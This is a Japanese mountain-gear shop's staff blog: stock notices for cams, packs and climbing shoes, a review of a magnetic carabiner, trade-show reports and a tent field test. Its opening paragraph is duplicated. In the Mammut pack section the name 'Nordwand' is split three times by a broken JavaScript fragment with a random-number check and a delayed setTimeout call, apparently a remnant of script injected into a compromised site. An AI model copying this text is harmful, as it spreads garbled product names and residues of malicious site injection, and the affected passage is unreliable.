クライミングギア、火気類、テント類・・・
21SSはコロナの影響で生産が追いついていない物が沢山あります。
こちらも例外ではありません。多少入荷しましたが、
次は秋まで入荷予定がありませんので、必要なかたはお早めにどうぞ!
■Totem MT「Totem Cam」¥12,100(税込)
0.50~1.80(計7サイズ)
山の店デナリのスタッフが綴るブログです
クライミングギア、火気類、テント類・・・
21SSはコロナの影響で生産が追いついていない物が沢山あります。
こちらも例外ではありません。多少入荷しましたが、
次は秋まで入荷予定がありませんので、必要なかたはお早めにどうぞ!
■Totem MT「Totem Cam」¥12,100(税込)
0.50~1.80(計7サイズ)
今期、BDから発売したカラビナ『マグネトロン』をさっそく購入して、しばらく使ってみたので感想をレポートします。
結論から言わせてもらえば、使いにくく感じました。あくまでも個人的感想なのであしからず。
使いにくい点を挙げると、
①マグネット部分のボタンを同時に押さないと開かない
②マグネット部分のボタンが小さい
③冬山でグローブをはめたまま、ボタンを押すのは困難
④ハーネスのギアラックから取り出すのもコツがいる
⑤中高年のかたやクライミング初心者のかたが、システムを理解するのが困難
ただし、開けにくいということは安全ということも言えますね。
まぁただ単にスクリューゲートに馴れてしまっているだけですけどね。
もう少し使ってみたら印象が変わるかもしれません。そのときは報告します。
近年、ワイルドカントリーのフレンズが大きく変わりました。
変更点としては、
①カムヘッドのデザイン変更により、軽量化を実現
②1サイズあたりの対応レンジが広くなりました
③サムループを採用したことにより、操作性が飛躍的に向上
④ステムが長くなり、より深いセットが可能に
⑤カムスプリングを調整し、トリガーの引きがマイルドになりました
この手のカムはBDのキャメロットが有名ですが、実はフレンズのほうが元祖。商品名がそのまま呼称に。
値段も知名度も劣っていますが、唯一勝っている点は重量。少しでも軽くしたいクライマーは是非!
最近ではイギリスのワイドボーイズの二人がヘリウムフレンズの5番・6番を大量にぶら下げて登っている写真が、ロクスノに掲載されていました。
日本でももっと著名なクラッククライマーが使用すれば、認知度が上がること間違いなし。
我こそはと思う人は輸入元のベルカディアに電話を!
MAMMUTザックの最高峰モデル。
販売店が限られている【EIGER EXTREME】シリーズの
Trion/Trea Nordwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andが入荷しました!!過酷なアルパインで想定されるすべての要素を盛りこんだ、通好みのザックに仕上がっています。
価格は男性モデルの【Trion Nordwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 35L】が@34,650。
女性モデルの【Trea Nordwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 32L】が@33,600です。
売り切れ必至の限定モデル。
本体はロールアップ式でフロントのジッパー(上下どちらからもOPEN)から直接メインコンパートメントにアクセスが出来ます。
防水性の高い生地を使用していて、縫い目はすべてシーム加工されています。
バックルは強度の高い金属製。
本体の中には取り外し可能なアイゼンケース付き。
そしてなんと、フレーム上部のベルクロを外し、フレームを引っ張ると!!
こんなものが出現します!!
※ゴムは付属していますがクイックドローは別売り。
取り外し可能なVフレームは、片方がナッツキー、もう一本はプリクリップ用のステッキとしても使えます。
因みに左右のフレームを連結させるとなんと約1.1mになります!!
スポルティバのクライミングシューズ『TC PRO』が入荷しました。
今ならEUR38~EUR42までハーフ刻みであります。
マルチに良し、クラックに良し、フェイスにも良しのマルチプレイヤーです。
各サイズ1足ずつしかありませんので、お求めのかたはお早めに!
もちろんネットでも購入可能@26,250です。
ネットショップへGO→
クラック愛好者のマストアイテム・エイリアンが姿を消してから早数年。
今春、FIX社から復活します!
しかも姿形も従来とほぼ変わらず。ほとんど一緒です。
サイズは青~赤の5サイズ。価格は@11,800。
昔に比べると高くなりましたが、仕方ないですね。時代の流れですから。
初年度はメーカーも在庫をあまり持たないと思います。デナリでも入荷予定!?
お問い合わせはお早めに!
本日は浜松町と池袋で開催されている合同展示会に行ってきました。
池袋に関しては10社以上が集まる大規模なもの。
7月から始まった12春夏の展示会も今日でラスト。
来年はどんな年になるのでしょうか…。
先月、ケンコー社様からビッグアグネスの三人用軽量テント・フライクリーク UL 3をお借りしたので、南アルプス・塩見岳で使用してきました。
このフライクリークは三人用テントのなかではおそらく最軽量の部類。重量はたったの1,640gである。本体は7割り方メッシュを使用していて、その上からフライを被せ防水をしている。泊まった当日は夕方から激しい雷雨に見舞われたが、防水性に関しては問題なかった。
アメリカのテントは日本のテントより高さがあり室内空間も広い。しかもメッシュを使用しているので、フライを被せても日中は非常に明るい。明るく開放的なのでなんだか心がウキウキしてくる!とても魅力的なテントだ。
しかし道具である以上良いことばかりではない。もちろん使い勝手の悪いところもある。たとえば生地が薄いので耐久性が心配な点や、テント内で火器を使用した場合結露して水滴が垂れてくる点、耐風性にも難ありなど挙げればキリがないが…。
テントも車と一緒で国内メーカーは故障も少なく、燃費も良い。日本の道路を考慮したデザインやサイズになっているが、町中ではありふれている。海外メーカーはその逆で故障が多く、燃費も悪い。道路ギリギリのサイズで運転しにくい。しかしデザインは奇抜で斬新!けっして使い勝手が良いわけではないが、町中ではなかなか見かけないので所有欲を満たしてくれるというわけである。
さてあなたは国産テント派か海外テント派かどっち?
今週は天候不良のためガイド業務が中止になったので、デナリスタッフとして展示会巡りをしました。
浜松町のロストアローではアメリカからBDの最高責任者が来日していて、ありがたいお話しを聞くことが出来ました。BDは国際上場をするらしく、さらに大きな発展が期待出来そうです。
新製品としてはハーネス・ヘルメット・女性用のトレッキングポールなどが発売されます。あと時期は未定ですが、磁石を使用した環付きカラビナが登場予定。革新的な物になりそうな予感…!
新宿に移動してイタリアのウエアブランド・モンチュラの展示会に。
こちらはGORE-TEXアクティブシェルを使用したジャケットが数種類登場予定。モンチュラらしい斬新なデザインで格好良かったです。
来春から各社アクティブシェルJKTが発売されるので、スタンダードとして定着するかどうか楽しみ!
閉館間際まで悩むNガイド
本日は浜松町にケンコー社の展示会に行ってきました。
アメリカのテントブランド『ビッグアグネス』やネパールのウエアブランド『シェルパ』などを取り扱っている代理店です。
今回は『ビッグアグネス』のテントに着目しました。最近のライト&ファストという流れのなかで最軽量テントを謳っているブランド。来期はフルメッシュの一人用テント(日本別注)で1㎏を切るモデルが出るようです。さすがに冬はムリですが、夏山なら十分な気がします。
三人用テントで2㎏を切るモデルを借りたので、実際に使用してインプレッションしてみたいと思います。